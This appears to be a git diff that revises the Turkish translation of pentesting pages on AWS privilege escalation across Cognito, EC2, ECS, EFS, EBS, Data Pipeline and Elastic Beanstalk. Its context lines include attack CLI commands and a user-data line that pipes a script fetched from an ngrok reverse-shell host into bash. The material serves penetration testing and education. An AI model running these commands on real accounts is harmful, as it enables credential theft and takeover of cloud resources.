-Bu izin, bir saldırganın devre dışı bırakılmış bir kullanıcının kimlik bilgilerini bulduğu ve onu **tekrar etkinleştirmesi gerektiği** çok uç bir senaryoda yardımcı olabilir.
+Bu izin, bir saldırganın devre dışı bırakılmış bir kullanıcının kimlik bilgilerini bulduğu ve onu **tekrar etkinleştirmesi** gerektiği çok uç bir senaryoda yardımcı olabilir.
```bash
aws cognito-idp admin-enable-user \
--user-pool-id \
--username
```
-**Potansiyel Etki:** Saldırganın devre dışı bırakılmış bir kullanıcı için kimlik bilgileri varsa, kimlik havuzundaki IAM rolüne dolaylı privesc ve kullanıcının izinleri.
+**Potansiyel Etki:** Saldırganın devre dışı bırakılmış bir kullanıcı için kimlik bilgileri varsa, kimlik havuzu IAM rolüne ve kullanıcının izinlerine dolaylı olarak erişim sağlanabilir.
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
@@ -164,9 +164,9 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration ] \
[--mfa-configuration ]
```
-**UpdateUserPool:** Kullanıcı havuzunu MFA politikasını değiştirmek için güncellemek de mümkündür. [CLI'yi buradan kontrol edin](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+**UpdateUserPool:** Kullanıcı havuzunu MFA politikasını değiştirmek için güncellemek de mümkündür. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
-**Potential Impact:** Saldırganın kimlik bilgilerini bildiği herhangi bir kullanıcıya dolaylı yetki yükseltme, bu MFA korumasını atlamaya izin verebilir.
+**Potential Impact:** Saldırganın kimlik bilgilerini bildiği herhangi bir kullanıcıya dolaylı yetki yükseltme, bu MFA korumasını atlamasına olanak tanıyabilir.
### `cognito-idp:AdminUpdateUserAttributes`
@@ -178,15 +178,15 @@ aws cognito-idp admin-update-user-attributes \
--username \
--user-attributes
```
-**Potansiyel Etki:** Kullanıcı özelliklerine dayalı ayrıcalıklar veren Cognito Kullanıcı Havuzu altında potansiyel dolaylı ayrıcalık yükseltme.
+**Potansiyel Etki:** Kullanıcı özelliklerine dayalı olarak ayrıcalıklar veren Cognito Kullanıcı Havuzu'ndaki temel uygulamada potansiyel dolaylı ayrıcalık yükseltmesi.
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-Bu izne sahip bir saldırgan, **zaten mevcut havuz istemcilerinden daha az kısıtlı yeni bir Kullanıcı Havuzu İstemcisi oluşturabilir**. Örneğin, yeni istemci herhangi bir kimlik doğrulama yöntemine izin verebilir, herhangi bir gizli anahtar içermeyebilir, token iptalini devre dışı bırakabilir, tokenların daha uzun süre geçerli olmasına izin verebilir...
+Bu izne sahip bir saldırgan, mevcut havuz istemcilerinden **daha az kısıtlı yeni bir Kullanıcı Havuzu İstemcisi oluşturabilir**. Örneğin, yeni istemci herhangi bir türde kimlik doğrulama yöntemine izin verebilir, herhangi bir gizli anahtar bulundurmayabilir, token iptalini devre dışı bırakabilir, token'ların daha uzun süre geçerli olmasına izin verebilir...
-Aynı şey, yeni bir istemci oluşturmak yerine, **mevcut birinin değiştirilmesiyle** de yapılabilir.
+Aynı şey, yeni bir istemci oluşturmak yerine **mevcut birinin değiştirilmesiyle** de yapılabilir.
-[**komut satırında**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (veya [**güncelleme için**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) tüm seçenekleri görebilirsiniz, kontrol edin!.
+[**komut satırında**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (veya [**güncelleme için**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) tüm seçenekleri görebilirsiniz, kontrol edin!
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id \
@@ -216,11 +216,11 @@ curl -v -T "PATH_TO_CSV_FILE" \
```
(Yeni bir içe aktarma işi oluşturduğunuzda, iam passrole iznine de ihtiyacınız olabilir, henüz test etmedim).
-**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan privesc, kimlik doğrulanmış kullanıcılar için. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı privesc.
+**Olası Etki:** Kimlik havuzundaki doğrulanmış kullanıcılar için IAM rolüne doğrudan privesc. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı privesc.
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
-Bir saldırgan, bu sağlayıcı aracılığıyla **giriş yapabilmek için** yeni bir kimlik sağlayıcı oluşturabilir.
+Bir saldırgan, bu sağlayıcı aracılığıyla **giriş yapabilmek için** yeni bir kimlik sağlayıcısı oluşturabilir.
```bash
aws cognito-idp create-identity-provider \
--user-pool-id \
@@ -230,16 +230,16 @@ aws cognito-idp create-identity-provider \
[--attribute-mapping ] \
[--idp-identifiers ]
```
-**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne kimlik doğrulama yapılmış kullanıcılar için doğrudan yetki yükseltme. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı yetki yükseltme.
+**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan yetki yükseltme. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı yetki yükseltme.
### cognito-sync:\* Analizi
-Bu, Cognito Kimlik Havuzları'ndaki roller için varsayılan olarak çok yaygın bir izindir. İzinlerde bir joker karakterin her zaman kötü görünmesi (özellikle AWS'den geliyorsa) rağmen, **verilen izinler bir saldırganın bakış açısında çok faydalı değildir**.
+Bu, Cognito Kimlik Havuzlarındaki roller için varsayılan olarak çok yaygın bir izindir. İzinlerde bir joker karakter her zaman kötü görünse de (özellikle AWS'den geliyorsa), **verilen izinler bir saldırganın bakış açısında çok faydalı değildir**.
-Bu izin, Kimlik Havuzları içindeki kimlik bilgilerini ve Kimlik ID'lerini okumaya izin verir (bu hassas bilgi değildir).\
-Kimlik ID'lerine atanmış [**Veri Setleri**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) olabilir, bu da oturum bilgilerini içerir (AWS bunu **kaydedilmiş oyun** olarak tanımlar). Bunun bazı hassas bilgileri içermesi mümkün olabilir (ancak olasılık oldukça düşüktür). Bu bilgilere erişim için [**numaralandırma sayfasında**](../aws-services/aws-cognito-enum/) nasıl erişileceğini bulabilirsiniz.
+Bu izin, Kimlik Havuzlarının kullanıcı bilgilerini ve Kimlik Havuzları içindeki Kimlik Kimliklerini okumaya olanak tanır (bu hassas bilgi değildir).\
+Kimlik Kimlikleri, oturum bilgilerini içeren [**Veri Setleri**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) ile ilişkilendirilmiş olabilir (AWS bunu **kaydedilmiş oyun** olarak tanımlar). Bunun bazı hassas bilgileri içermesi mümkün olabilir (ancak olasılık oldukça düşüktür). Bu bilgilere erişim için [**numaralandırma sayfasında**](../aws-services/aws-cognito-enum/) nasıl erişileceğini bulabilirsiniz.
-Bir saldırgan bu izinleri, **bu veri setlerinde değişiklikleri yayınlayan bir Cognito akışına kendini kaydetmek** veya **cognito olaylarında tetiklenen bir lambda** kullanmak için de kullanabilir. Bunun kullanıldığını görmedim ve burada hassas bilgi beklemiyorum, ancak imkansız değil.
+Bir saldırgan, bu izinleri kullanarak **bu veri setlerinde değişiklikleri yayınlayan bir Cognito akışına kaydolabilir** veya **cognito olaylarında tetiklenen bir lambda** kullanabilir. Bunun kullanıldığını görmedim ve burada hassas bilgiler beklemiyorum, ancak imkansız değil.
### Otomatik Araçlar
@@ -259,7 +259,7 @@ us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
```bash
Pacu (new:test) > run cognito__enum
```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) , privesc yükseltmesi de dahil olmak üzere Cognito'ya farklı saldırılar uygulayan bir python CLI aracıdır.
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner), privesc yükselmesi de dahil olmak üzere Cognito'ya farklı saldırılar uygulayan bir python CLI aracıdır.
#### Kurulum
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
index 9d15e6ce9..4bbd8327f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -4,7 +4,7 @@
## datapipeline
-Datapipeline hakkında daha fazla bilgi için kontrol edin:
+datapipeline hakkında daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -12,11 +12,11 @@ Datapipeline hakkında daha fazla bilgi için kontrol edin:
### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
-Bu **izinlere sahip kullanıcılar, atanan rolün izinlerini kullanarak rastgele komutlar çalıştırmak için bir Data Pipeline oluşturup ayrıcalıkları artırabilir:**
+Bu **izinlere sahip kullanıcılar, atanan rolün izinlerini kullanarak rastgele komutlar çalıştırmak için bir Data Pipeline oluşturarak ayrıcalıkları artırabilir:**
```bash
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
```
-Pipeline oluşturulduktan sonra, saldırgan belirli eylemleri veya kaynak oluşturma işlemlerini belirlemek için tanımını günceller:
+Pipeline oluşturulduktan sonra, saldırgan belirli eylemleri veya kaynak oluşturmayı belirlemek için tanımını günceller:
```json
{
"objects": [
@@ -50,14 +50,14 @@ Pipeline oluşturulduktan sonra, saldırgan belirli eylemleri veya kaynak oluşt
}
```
> [!NOTE]
-> **14, 15 ve 27. satırlardaki** **rolün** **datapipeline.amazonaws.com** tarafından üstlenilebilir bir rol olması gerektiğini unutmayın ve **28. satırdaki** rolün **ec2.amazonaws.com tarafından üstlenilebilir bir rol olması gerektiğini ve bir EC2 profil örneği ile** olması gerektiğini unutmayın.
+> **14, 15 ve 27. satırdaki** **rolün** **datapipeline.amazonaws.com** tarafından **üstlenilebilir** bir rol olması gerektiğini unutmayın ve **28. satırdaki** rolün **ec2.amazonaws.com tarafından üstlenilebilir bir rol ve bir EC2 profil örneği** olması gerektiğini unutmayın.
>
> Ayrıca, EC2 örneği yalnızca EC2 örneği tarafından üstlenilebilir role erişime sahip olacaktır (bu nedenle yalnızca o rolü çalabilirsiniz).
```bash
aws datapipeline put-pipeline-definition --pipeline-id \
--pipeline-definition file:///pipeline/definition.json
```
-**Saldırgan tarafından oluşturulan pipeline tanım dosyası, komutları yürütmek veya AWS API'si aracılığıyla kaynaklar oluşturmak için direktifler içerir, Data Pipeline'ın rol izinlerini kullanarak potansiyel olarak ek ayrıcalıklar elde etme imkanı sağlar.**
+Saldırgan tarafından oluşturulan **pipeline tanım dosyası, komutları çalıştırmak veya kaynaklar oluşturmak için AWS API'sini kullanma talimatlarını içerir**, Data Pipeline'ın rol izinlerini kullanarak potansiyel olarak ek ayrıcalıklar elde etme amacı taşır.
**Potansiyel Etki:** Belirtilen ec2 hizmet rolüne doğrudan ayrıcalık yükseltme.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
index b29d3f89f..8202ff030 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -23,10 +23,10 @@ AD'den kullanıcıların giriş yapabileceği bir **uygulama erişim URL'si** et
-Ve ardından giriş yaptıklarında onlara bir **AWS IAM rolü** vermek, bu şekilde bir AD kullanıcısı/grubu AWS yönetim konsoluna erişim sağlayacaktır:
+Ve ardından giriş yaptıklarında onlara **bir AWS IAM rolü** vermek, bu şekilde bir AD kullanıcısı/grubu AWS yönetim konsoluna erişim sağlayacaktır:
-Görünüşe göre uygulama erişim URL'sini etkinleştirmek, AWS Yönetim Konsolu'nu ve izin vermeyi sağlamak için herhangi bir yol yoktur.
+Görünüşe göre uygulama erişim URL'sini etkinleştirmek, AWS Yönetim Konsolu'nu ve izin vermek için herhangi bir yol yoktur.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
index 84d2ed887..c386ec0d0 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -12,7 +12,7 @@ Dynamodb hakkında daha fazla bilgi için kontrol edin:
### Post Exploitation
-Bildigim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de **yetki yükseltmenin doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi **DynamoDB Post Exploitation sayfasında** zaten dikkate alınmıştır:
+Bildigim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de **yetki yükseltmenin doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (bu bilgiler AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi **DynamoDB Post Exploitation sayfasında** zaten dikkate alınmıştır:
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
index ed8e5051f..a422816fc 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
@@ -6,7 +6,7 @@
### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
-Bu izinlere sahip bir saldırgan, **hacim anlık görüntülerini yerel olarak indirme ve analiz etme** yeteneğine sahip olacak ve bunlarda hassas bilgileri (gizli anahtarlar veya kaynak kodu gibi) arayabilecektir. Bunu nasıl yapacağınızı bulmak için:
+Bu izinlere sahip bir saldırgan, **hacim anlık görüntülerini yerel olarak indirme ve analiz etme** yeteneğine sahip olabilir ve bunlarda hassas bilgileri (şifreler veya kaynak kodu gibi) arayabilir. Bunu nasıl yapacağınızı öğrenin:
{{#ref}}
../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -20,7 +20,7 @@ Bu izinlere sahip bir saldırgan, **hacim anlık görüntülerini yerel olarak i
### **`ec2:CreateSnapshot`**
-**`EC2:CreateSnapshot`** iznine sahip herhangi bir AWS kullanıcısı, **Etki Alanı Denetleyicisinin anlık görüntüsünü** oluşturarak tüm etki alanı kullanıcılarının hash'lerini çalabilir, bunu kontrol ettikleri bir örneğe monte ederek ve **NTDS.dit ve SYSTEM** kayıt defteri hibe dosyasını Impacket'in secretsdump projesi ile kullanmak üzere dışa aktararak gerçekleştirebilir.
+**`EC2:CreateSnapshot`** iznine sahip herhangi bir AWS kullanıcısı, **Etki Alanı Denetleyicisinin anlık görüntüsünü** oluşturarak tüm etki alanı kullanıcılarının hash'lerini çalabilir, bunu kontrol ettikleri bir örneğe monte ederek ve **NTDS.dit ve SYSTEM** kayıt defteri hibe dosyasını Impacket'in secretsdump projesi ile kullanmak üzere dışa aktararak yapabilir.
Bu aracı saldırıyı otomatikleştirmek için kullanabilirsiniz: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) veya bir anlık görüntü oluşturduktan sonra önceki tekniklerden birini kullanabilirsiniz.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index 1297a1ef7..0ccfe7f1f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -12,11 +12,11 @@ Daha fazla **EC2 hakkında bilgi** için kontrol edin:
### `iam:PassRole`, `ec2:RunInstances`
-Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir.**
+Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek** IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir.
- **SSH ile Erişim**
-Yeni bir örnek çalıştırarak **oluşturulmuş** **ssh anahtarı** (`--key-name`) kullanın ve ardından buna ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir).
+Yeni bir örnek başlatın ve **oluşturulmuş** **ssh anahtarını** kullanarak (`--key-name`) ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir).
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
```
- **Kullanıcı verisinde rev shell ile erişim**
-Yeni bir örnek çalıştırabilirsiniz, bu örnek **kullanıcı verisi** (`--user-data`) kullanarak size bir **rev shell** gönderecektir. Bu şekilde güvenlik grubunu belirtmenize gerek yoktur.
+Yeni bir örnek çalıştırabilirsiniz, bu **kullanıcı verisi** (`--user-data`) size bir **rev shell** gönderecektir. Bu şekilde güvenlik grubunu belirtmenize gerek yoktur.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -65,7 +65,7 @@ Yeni EC2 örneğinde **ECS hizmetlerini çalıştırmayı zorlamak** için öğr
aws-ecs-privesc.md
{{#endref}}
-Eğer **yeni bir örnek oluşturamıyorsanız** ancak `ecs:RegisterContainerInstance` iznine sahipseniz, örneği küme içinde kaydedebilir ve yorumlanan saldırıyı gerçekleştirebilirsiniz.
+Eğer **yeni bir örnek oluşturamıyorsanız** ancak `ecs:RegisterContainerInstance` iznine sahipseniz, örneği küme içinde kaydedebilir ve belirtilen saldırıyı gerçekleştirebilirsiniz.
**Olası Etki:** Görevlerle ilişkilendirilmiş ECS rollerine doğrudan privesc.
@@ -80,25 +80,25 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-Eğer **örnek profil bir role sahipse** ve saldırgan **bunu kaldıramıyorsa**, başka bir çözüm yolu vardır. O, **rolü olmayan** bir **örnek profili bulabilir** veya **yeni bir tane oluşturabilir** (`iam:CreateInstanceProfile`), **rolü** o **örnek profiline** ekleyebilir (daha önce tartışıldığı gibi) ve **örnek profilini** ele geçirilmiş bir **örneğe** ilişkilendirebilir:
+Eğer **örnek profil bir role sahipse** ve saldırgan **bunu kaldıramıyorsa**, başka bir çözüm yolu vardır. O, **rolü olmayan bir örnek profili bulabilir** veya **yeni bir tane oluşturabilir** (`iam:CreateInstanceProfile`), **rolü** o **örnek profiline** ekleyebilir (daha önce tartışıldığı gibi) ve **örnek profilini** ele geçirilmiş bir **örneğe** ilişkilendirebilir:
- Eğer örnek **hiçbir örnek** profiline sahip değilse (`ec2:AssociateIamInstanceProfile`) \*
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir).
+**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan privesc (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırı zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilecektir.
+Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırgan zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilecektir.
-- Eğer **bir örnek profili varsa**, örnek profilini **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **bağlayabilirsiniz** \*
+- Eğer **bir örnek profili varsa**, örnek profilini **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **iliştirebilirsiniz** \*
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-- veya **kullanılmış** **örneğin profilini** ele geçirilmiş örneğin (`ec2:ReplaceIamInstanceProfileAssociation`). \*
+- veya **kullanılmış** örneğin **örnek profili** (`ec2:ReplaceIamInstanceProfileAssociation`) ile **değiştirin**. \*
````
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
@@ -108,7 +108,7 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= [!WARNING]
-> Bu saldırı yalnızca **ECS kümesi EC2** örnekleri kullanıyorsa ve Fargate değilse mümkündür.
+> Bu saldırı yalnızca **ECS kümesinin EC2** örneklerini kullanması durumunda mümkündür ve Fargate değil.
```bash
printf '[
{
@@ -144,7 +144,7 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
-**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** olan bir saldırgan, **çalışan bir konteynerin** içinde **komutlar çalıştırabilir** ve ona bağlı IAM rolünü dışarı sızdırabilir (bunu yapmak için `aws ecs execute-command` çalıştırmak gerekli olduğu için tanımlama izinlerine ihtiyacınız var).\
+**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** olan bir saldırgan, çalışan bir konteyner içinde **komutlar çalıştırabilir** ve ona bağlı IAM rolünü dışarı sızdırabilir (bunu yapmak için `aws ecs execute-command` çalıştırmak gerekli olduğu için tanımlama izinlerine ihtiyacınız var).\
Ancak, bunu yapmak için konteyner örneğinin **ExecuteCommand ajanını** çalıştırıyor olması gerekir (varsayılan olarak değildir).
Bu nedenle, saldırgan şunları denemek isteyebilir:
@@ -174,7 +174,7 @@ aws ecs execute-command --interactive \
Bu **seçeneklerin örneklerini** **önceki ECS privesc bölümlerinde** bulabilirsiniz.
-**Potansiyel Etki:** Konteynerlere bağlı farklı bir role privesc.
+**Olası Etki:** Farklı bir role privesc, konteynerlere eklenmiş.
### `ssm:StartSession`
@@ -227,7 +227,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
-**Potansiyel Etki**: Etkilenen hizmette rastgele kod çalıştırmak, muhtemelen işlevselliğini etkileyebilir veya hassas verileri dışarı sızdırabilir.
+**Olası Etki**: Etkilenen hizmette rastgele kod çalıştırmak, muhtemelen işlevselliğini etkileyebilir veya hassas verileri dışarı sızdırabilir.
## Referanslar
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
index 50f9b6c90..63459c7cb 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
@@ -10,7 +10,7 @@ Daha fazla **EFS hakkında bilgi** için:
../aws-services/aws-efs-enum.md
{{#endref}}
-EFS'yi bağlamak için, EFS'nin açıldığı bir alt ağda olmanız ve ona erişiminizin olması gerektiğini unutmayın (güvenlik grupları). Eğer bu gerçekleşiyorsa, varsayılan olarak, her zaman onu bağlayabileceksiniz, ancak IAM politikalarıyla korunuyorsa, ona erişmek için burada belirtilen ek izinlere sahip olmanız gerekir.
+Bir EFS'yi bağlamak için, EFS'nin açık olduğu bir alt ağda olmanız ve ona erişiminizin olması gerektiğini unutmayın (güvenlik grupları). Bu gerçekleşiyorsa, varsayılan olarak, her zaman onu bağlayabileceksiniz, ancak IAM politikalarıyla korunuyorsa, ona erişmek için burada belirtilen ek izinlere sahip olmanız gerekir.
### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
@@ -58,29 +58,29 @@ Bu izinle bir saldırgan **EFS'yi monte edebilir**. Eğer yazma izni, EFS'yi mon
sudo mkdir /efs
sudo mount -t efs -o tls,iam :/ /efs/
```
-Ekstra izinler `elasticfilesystem:ClientRootAccess` ve `elasticfilesystem:ClientWrite`, dosya sistemi monte edildikten sonra **yazmak** ve bu dosya sistemine **root** olarak **erişmek** için kullanılabilir.
+`elasticfilesystem:ClientRootAccess` ve `elasticfilesystem:ClientWrite` ek izinleri, dosya sistemi monte edildikten sonra içinde **yazmak** ve bu dosya sistemine **root** olarak **erişmek** için kullanılabilir.
-**Olası Etki:** Dosya sisteminde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme.
+**Olası Etki:** Dosya sisteminde hassas bilgileri bulma yoluyla dolaylı yetki artırma.
### `elasticfilesystem:CreateMountTarget`
-Eğer bir saldırgan **alt ağda** EFS'nin **hiçbir montaj hedefi** yoksa, bu yetki ile **kendi alt ağında bir tane oluşturabilir.**
+Eğer bir saldırgan **alt ağda** ise ve EFS'nin **hiçbir montaj hedefi** yoksa, bu yetkiyle **kendi alt ağında bir tane oluşturabilir**.
```bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id \
--subnet-id \
--security-groups
```
-**Potansiyel Etki:** Dosya sisteminde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme.
+**Potansiyel Etki:** Dosya sisteminde hassas bilgileri bulma yoluyla dolaylı yetki artırma.
### `elasticfilesystem:ModifyMountTargetSecurityGroups`
-Bir saldırganın EFS'nin kendi alt ağında bir montaj hedefi bulduğu ancak **hiçbir güvenlik grubunun trafiğe izin vermediği** bir senaryoda, **seçilen güvenlik gruplarını değiştirerek bunu değiştirebilir:**
+Bir saldırganın EFS'nin alt ağında bir montaj hedefi bulduğu ancak **hiçbir güvenlik grubunun trafiğe izin vermediği** bir senaryoda, **seçilen güvenlik gruplarını değiştirerek bunu değiştirebilir:**
```bash
aws efs modify-mount-target-security-groups \
--mount-target-id \
--security-groups
```
-**Olası Etki:** Dosya sisteminde hassas bilgileri bulma yoluyla dolaylı yetki artırma.
+**Olası Etki:** Dosya sisteminde hassas bilgilerin bulunmasıyla dolaylı ayrıcalık yükseltme.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
index bf4f2dafc..b6ed35d0d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
@@ -15,7 +15,7 @@ Daha fazla **Elastic Beanstalk hakkında bilgi** için:
### `elasticbeanstalk:RebuildEnvironment`, S3 yazma izinleri ve daha fazlası
-**Ortamın kodunu içeren S3 bucket'ında yazma izinleri** ve uygulamayı **yeniden inşa etme** izinleri (bunun için `elasticbeanstalk:RebuildEnvironment` ve `S3`, `EC2` ve `Cloudformation` ile ilgili birkaç izin gereklidir) ile **kodunuzu değiştirebilir**, uygulamayı **yeniden inşa edebilir** ve uygulamaya eriştiğinizde bu, **yeni kodunuzu çalıştıracaktır**, bu da saldırganın uygulamayı ve IAM rol kimlik bilgilerini tehlikeye atmasına olanak tanır.
+**Ortamın kodunu içeren S3 bucket'ında yazma izinleri** ve uygulamayı **yeniden inşa etmek** için izinler (gerekli olan `elasticbeanstalk:RebuildEnvironment` ve `S3`, `EC2` ve `Cloudformation` ile ilgili birkaç tane daha) ile **kodunuzu değiştirebilir**, uygulamayı **yeniden inşa edebilir** ve uygulamaya eriştiğinizde bu, **yeni kodunuzu çalıştıracaktır**, bu da saldırganın uygulamayı ve IAM rol kimlik bilgilerini tehlikeye atmasına olanak tanır.
```bash
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -38,11 +38,11 @@ Bahsedilenler ve birkaç **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`*
```bash
